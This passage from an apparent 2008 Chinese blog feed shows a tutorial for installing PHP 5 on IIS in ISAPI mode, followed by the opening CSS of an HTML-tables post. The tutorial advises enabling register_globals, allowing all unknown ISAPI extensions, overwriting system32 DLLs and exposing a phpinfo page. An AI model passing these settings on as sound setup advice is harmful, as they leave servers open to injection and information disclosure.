face="Times New Roman">. )</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">；</span><span lang="EN-US"> </span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">（</span><span lang="EN-US"><font face="Times New Roman">2</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">）、再将</span><span lang="EN-US"><font face="Times New Roman">C:\php&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;C:\php\ext 两个</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">目录下的所有</span><span lang="EN-US"><font face="Times New Roman">dll</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件拷到</span><span lang="EN-US"><font face="Times New Roman">c:\Windows\system32</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">下，覆盖已有的</span><span lang="EN-US"><font face="Times New Roman">dll</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件；</span><span lang="EN-US"> </span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">（</span><span lang="EN-US"><font face="Times New Roman">3</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">）、将</span><span lang="EN-US"><font face="Times New Roman">C:\PHP</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">目录下的</span><span lang="EN-US"><font face="Times New Roman">php.exe</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">、</span><span lang="EN-US"><font face="Times New Roman">php-win.exe</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">和</span><span lang="EN-US"><font face="宋体">php.ini-dist</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">三个文件拷到</span><span lang="EN-US"><font face="Times New Roman">C:\Windows </font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">将</span><span lang="EN-US"><font face="Times New Roman">C:\Windows\<span lang="EN-US"><font face="宋体">php.ini-dist</font></span></font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">改名为</span><span lang="EN-US"><font face="Times New Roman">php.ini,</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">然后用记事本打开，利用记事本的查找功能搜索</span><span lang="EN-US"> </span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="mso-spacerun: yes"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">搜索</span><span lang="EN-US"><font face="Times New Roman">:register_globals = Off .</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">把</span><span lang="EN-US"><font face="Times New Roman">Off </font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">改成</span><span lang="EN-US"><font face="Times New Roman">on </font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="mso-spacerun: yes"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">搜索</span><span lang="EN-US"><font face="Times New Roman">:extension_dir = &quot;./&quot;<span style="mso-spacerun: yes">&nbsp; </span></font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">把</span><span lang="EN-US"><font face="Times New Roman">&quot;./&quot;</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">改成</span><span lang="EN-US"><font face="Times New Roman">:&quot;C:\php\ext&quot;</font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><font face="Times New Roman"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>;extension=php_dbase.dll</font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><font face="Times New Roman"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>;extension=php_gd2.dll<span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>#</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">这个是用来支持</span><span lang="EN-US"><font face="Times New Roman">GD</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">库的，一般需要，必选</span><span lang="EN-US"> </span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><font face="Times New Roman"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>;extension=php_ldap.dll</font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><font face="Times New Roman"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>;extension=php_mbstring.dll<span style="mso-spacerun: yes">&nbsp;&nbsp; </span><span style="mso-spacerun: yes">&nbsp;</span><span style="mso-spacerun: yes">&nbsp;</span>#</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">这不选一般用</span><span lang="EN-US"><font face="Times New Roman">PHPMYADMIN</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">会出红色提示，故必选</span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><font face="Times New Roman"><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; </span>;extension=php_mssql.dll<span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>#</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">这个是用来支持</span><span lang="EN-US"><font face="Times New Roman">MSSQL</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的，可选</span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><font face="Times New Roman"><span style="mso-spacerun: yes">&nbsp;</span><span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</span>;extension=php_mysql.dll<span style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>#</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">这个是用来支持</span><span lang="EN-US"><font face="Times New Roman">MYSQL</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的，要支持</span><span lang="EN-US"><font face="Times New Roman">MYSQL</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">必选</span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"></span><span lang="EN-US">&nbsp;</span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="mso-spacerun: yes"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">将这些前的</span><span lang="EN-US"><font face="Times New Roman">&quot;</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">；</span><span lang="EN-US"><font face="Times New Roman">&quot;</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">去掉，其他的你需要的也可以去掉前面的</span><span lang="EN-US"><font face="Times New Roman">;</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">然后关闭保存该文件。</span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"></span><span lang="EN-US">&nbsp;</span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">（</span><span lang="EN-US"><font face="Times New Roman">4</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">）、配置</span><span lang="EN-US"><font face="Times New Roman"> IIS </font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">使其支持</span><span lang="EN-US"><font face="Times New Roman"> PHP </font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">：</span><span lang="EN-US"> </span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">首先必须确定系统中已经正确安装</span><span lang="EN-US"><font face="Times New Roman"> IIS </font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，如果没有安装，需要先安装</span><span lang="EN-US"><font face="Times New Roman"> IIS </font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><font face="Times New Roman"></font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><font face="Times New Roman">PHP </font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">支持</span><span lang="EN-US"><font face="Times New Roman"> CGI </font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">和</span><span lang="EN-US"><font face="Times New Roman"> ISAPI </font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">两种安装模式，推荐使用</span><span lang="EN-US"><font face="Times New Roman"> ISAPI </font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">模式。这里只解介绍</span><span lang="EN-US"><font face="Times New Roman"> ISAPI </font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">模式安装方法：</span><span lang="EN-US"><font face="Times New Roman">ISAPI </font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">模式安装步骤：</span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo1; tab-stops: list 18.0pt"><span lang="EN-US" style="mso-fareast-font-family: 'Times New Roman'"><span style="mso-list: Ignore"><font face="Times New Roman">1.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></font></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">打开&ldquo;</span><span lang="EN-US"><font face="Times New Roman">internet</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">信息服务（ＩＩＳ）管理器&rdquo;，右击&ldquo;网站&rdquo;选择&ldquo;属性&rdquo;；如图：</span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo1; tab-stops: list 18.0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img alt="" src="http://www.idcnote.com/attachments/month_0809/1200891143645.JPG" /></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo1; tab-stops: list 18.0pt">&nbsp;</p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo1; tab-stops: list 18.0pt">&nbsp;</p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><span lang="EN-US"><shapetype id="_x0000_t75" stroked="f" filled="f" path="m@4@5l@4@11@9@11@9@5xe" opreferrelative="t" ospt="75" coordsize="21600,21600"></shapetype><shapetype></shapetype><shapetype></shapetype><shapetype></shapetype><stroke joinstyle="miter"></stroke><stroke></stroke><stroke></stroke><stroke></stroke><stroke></stroke><stroke></stroke><stroke></stroke><stroke></stroke>
<formulas>
</formulas>
<formulas>
</formulas>
<formulas>
</formulas>
<formulas>
</formulas>
<f eqn="if lineDrawn pixelLineWidth 0"></f><f></f><f></f><f></f><f></f><f></f><f></f><f></f><f eqn="sum @0 1 0"></f><f></f><f></f><f></f><f></f><f></f><f></f><f></f><f eqn="sum 0 0 @1"></f><f></f><f></f><f></f><f></f><f></f><f></f><f></f><f eqn="prod @2 1 2"></f><f></f><f></f><f></f><f></f><f></f><f></f><f></f><f eqn="prod @3 21600 pixelWidth"></f><f></f><f></f><f></f><f></f><f></f><f></f><f></f><f eqn="prod @3 21600 pixelHeight"></f><f></f><f></f><f></f><f></f><f></f><f></f><f></f><f eqn="sum @0 0 1"></f><f></f><f></f><f></f><f></f><f></f><f></f><f></f><f eqn="prod @6 1 2"></f><f></f><f></f><f></f><f></f><f></f><f></f><f></f><f eqn="prod @7 21600 pixelWidth"></f><f></f><f></f><f></f><f></f><f></f><f></f><f></f><f eqn="sum @8 21600 0"></f><f></f><f></f><f></f><f></f><f></f><f></f><f></f><f eqn="prod @7 21600 pixelHeight"></f><f></f><f></f><f></f><f></f><f></f><f></f><f></f><f eqn="sum @10 21600 0"></f><f></f><f></f><f></f><f></f><f></f><f></f><f></f>
<formulas>
</formulas>
<formulas>
</formulas>
<formulas>
</formulas>
<formulas>
</formulas>
<path oconnecttype="rect" gradientshapeok="t" oextrusionok="f"></path>
<path></path>
<path></path>
<path></path>
<path></path>
<path></path>
<path></path>
<path></path>
<lock aspectratio="t" vext="edit"></lock><lock></lock><lock></lock><lock></lock><lock></lock><lock></lock><lock></lock><lock></lock><shapetype></shapetype><shapetype></shapetype><shapetype></shapetype><shapetype></shapetype></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">２．选择&ldquo;</span><span lang="EN-US"><font face="Times New Roman">ISAPI</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">筛选器&rdquo;选项卡</span><span lang="EN-US"><font face="Times New Roman">---&ldquo;</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">添加</span><span lang="EN-US"><font face="Times New Roman">&rdquo;,</font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="mso-spacerun: yes"><font face="Times New Roman">&nbsp;&nbsp; </font></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">筛选器名称：</span><span lang="EN-US"><font face="Times New Roman">php</font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="mso-spacerun: yes"><font face="Times New Roman">&nbsp;&nbsp; </font></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">可执行文件：</span><span lang="EN-US"><font face="Times New Roman">C:\php\php5isapi.dll</font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">确定。</span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">３．选择&ldquo;主目录&rdquo;选项卡</span><span lang="EN-US"><font face="Times New Roman">--------&ldquo;</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">配置</span><span lang="EN-US"><font face="Times New Roman">&rdquo;-------</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">&ldquo;映射&rdquo;选项卡</span><span lang="EN-US"><font face="Times New Roman">------&ldquo;</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">添加</span><span lang="EN-US"><font face="Times New Roman">&rdquo;</font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">可执行文件：</span><span lang="EN-US"><font face="Times New Roman">C:\php\php5isapi.dll<br /></font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">　　招　展　名：</span><span lang="EN-US"><font face="Times New Roman">.php<span style="mso-spacerun: yes">&nbsp; </span>(</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">注意：是点</span><span lang="EN-US"><font face="Times New Roman">php)</font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt"><span lang="EN-US"><span style="mso-spacerun: yes"><font face="Times New Roman">&nbsp;</font></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">确定。</span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><font face="Times New Roman">4</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">．允许&ldquo;</span><span lang="EN-US"><font face="Times New Roman">ISAPI</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">扩展服务&rdquo;如图：</span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"></span>&nbsp;&nbsp;&nbsp; <img alt="" src="http://www.idcnote.com/attachments/month_0809/t20089114387.JPG" /></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">&nbsp;</p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">&nbsp;</p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">把&ldquo;所有未知</span><span lang="EN-US"><font face="Times New Roman">ISAPI</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">扩展&rdquo;设为：允许</span><span lang="EN-US"><font face="Times New Roman">.</font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><font face="Times New Roman"></font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><font face="Times New Roman"></font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><font face="Times New Roman">5</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">．重启</span><span lang="EN-US"><font face="Times New Roman">IIS </font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="mso-spacerun: yes"><font face="Times New Roman">&nbsp;&nbsp; </font></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">命令：</span><span lang="EN-US"><font face="Times New Roman">iisreset</font></span><span lang="EN-US"><font face="Times New Roman">
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><br />6<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">．测试ＰＨＰ</span>&nbsp;</p>
</font></span></p>
<p>&nbsp;</p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="mso-spacerun: yes"><font face="Times New Roman">&nbsp;&nbsp; </font></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">新建一网站　</span><span lang="EN-US"><font face="Times New Roman">-----------------------------</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">新建网站过程略</span><span lang="EN-US"><font face="Times New Roman">.</font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="mso-spacerun: yes"><font face="Times New Roman">&nbsp;&nbsp; </font></span></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">在网站目录里新建一个记事本文件</span><font face="Times New Roman"><br />&nbsp;&nbsp;</font><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">输入：</span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><span lang="EN-US"><font face="Times New Roman">&lt;?</font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><span lang="EN-US"><font face="Times New Roman">phpinfo();</font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt"><span lang="EN-US"><font face="Times New Roman">?&gt;</font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="mso-spacerun: yes"><font face="Times New Roman">&nbsp; </font></span></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">修改文件名为：</span><span lang="EN-US"><font face="Times New Roman">phpinfo.php<span style="mso-spacerun: yes">&nbsp; </span></font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">（</span><span lang="EN-US"><font face="Times New Roman">2003&nbsp;</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">默认不显示扩展名．设置显示扩展名过程略）</span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">访问新建的网站：</span><span lang="EN-US"><a href="http://ip/phpinfo.php" target="_blank"><font face="Times New Roman">http://IP/phpinfo.php</font></a><font face="Times New Roman"><br />&nbsp;&nbsp;&nbsp;</font></span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">如出现：</span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">&nbsp;<img alt="" src="http://www.idcnote.com/attachments/month_0809/z200891143836.JPG" /></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"></span>&nbsp;</p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">则</span><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">安装正常</span><span lang="EN-US"><font face="Times New Roman">.</font></span></p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US">
<p><font face="Times New Roman">&nbsp;</font></p>
</span></p>
<p>&nbsp;</p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">如有意外．请给我留言</span></p>
<p>&nbsp;</p>]]></description>
		</item>
		
			<item>
			<link>http://www.idcnote.com/default.asp?id=9</link>
			<title><![CDATA[HTML制作表格大全]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[工作日记]]></category>
			<pubDate>Mon,01 Sep 2008 14:22:27 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=9</guid>	
		<description><![CDATA[<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><style type="text/css">
<!--
.fonts {
font-family: "宋体";
font-size: 12px;
text-decoration: none;
}
.style1 {
font-size: 16px;
font-weight: bold;
}
a:link {  color: red; text-decoration: none}
a:visited {  color: #000000; text-decoration: none}
a:hover {  color: #0099cc; text-decoration: underline}
body {
font-family: "宋体";
font-size: 12px;
margin-top : 4;
}
.t {
